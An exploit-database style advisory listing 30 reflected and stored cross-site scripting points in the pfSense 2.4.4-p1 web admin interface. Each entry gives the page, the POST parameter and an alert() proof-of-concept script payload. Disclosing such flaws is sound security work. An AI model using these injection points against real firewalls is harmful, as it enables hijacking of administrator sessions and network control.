pfSense 2.4.4-p1 - Cross-Site Scripting

2019-02-04 22:05:36

##################################################################################################################################
# Exploit Title: pfSense 2.4.4-p1 | Cross-Site Scripting
# Date: 28.01.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.pfsense.org
# Software Link: https://frafiles.pfsense.org/mirror/downloads/pfSense-CE-2.4.4-RELEASE-p1-amd64.iso.gz
# Version: 2.4.4-p1
##################################################################################################################################

Introduction
pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution.


#################################################################################


XSS details: Reflected & Stored

#################################################################################

XSS1 | Reflected

URL
http://192.168.2.200/system_advanced_admin.php

METHOD
Post

PARAMETER
webguiproto

PAYLOAD
"><script>alert(1)</script>

#################################################################################

XSS2 | Reflected

URL
http://192.168.2.200/interfaces_assign.php

METHOD
Post

PARAMETER
wan

PAYLOAD
"><script>alert(2)</script>

#################################################################################

XSS3 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(3)</script>

#################################################################################

XSS4 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(4)</script>

#################################################################################

XSS5 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(5)</script>

#################################################################################

XSS6 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(6)</script>

#################################################################################

XSS7 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(7)</script>

#################################################################################

XSS8 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(8)</script>

#################################################################################

XSS9 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(9)</script>

#################################################################################

XSS10 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=FloatingRules

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(10)</script>

#################################################################################

XSS11 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(11)</script>

#################################################################################

XSS12 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(12)</script>

#################################################################################

XSS13 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(13)</script>

#################################################################################

XSS14 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(14)</script>

#################################################################################

XSS15 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(15)</script>

#################################################################################

XSS16 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(16)</script>

#################################################################################

XSS17 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(17)</script>

#################################################################################

XSS18 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=wan&after=-1

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(18)</script>

#################################################################################

XSS19 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
dscp

PAYLOAD
"><script>alert(19)</script>

#################################################################################

XSS20 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
tag

PAYLOAD
"><script>alert(20)</script>

#################################################################################

XSS21 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
tagged

PAYLOAD
"><script>alert(21)</script>

#################################################################################

XSS22 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
statetype

PAYLOAD
"><script>alert(22)</script>

#################################################################################

XSS23 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
vlanprio

PAYLOAD
"><script>alert(23)</script>

#################################################################################

XSS24 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
vlanprioset

PAYLOAD
"><script>alert(24)</script>

#################################################################################

XSS25 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
dnpipe

PAYLOAD
"><script>alert(25)</script>

#################################################################################

XSS26 | Stored

URL
http://192.168.2.200/firewall_rules_edit.php?if=lan

METHOD
Post

PARAMETER
defaultqueue

PAYLOAD
"><script>alert(26)</script>

#################################################################################

XSS27 | Reflected

URL
http://192.168.2.200/firewall_shaper.php

METHOD
Post

PARAMETER
name

PAYLOAD
"><script>alert(27)</script>

#################################################################################

XSS28 | Stored

URL
http://192.168.2.200/services_igmpproxy_edit.php

METHOD
Post

PARAMETER
address0

PAYLOAD
"><script>alert(28)</script>

#################################################################################

XSS29 | Stored

URL
http://192.168.2.200/services_ntpd_gps.php

METHOD
Post

PARAMETER
gpstype

PAYLOAD
"><script>alert(29)</script>

#################################################################################

XSS30 | Reflected

URL
http://192.168.2.200/diag_traceroute.php

METHOD
Post

PARAMETER
host

PAYLOAD
"><script>alert(30)</script>

#################################################################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.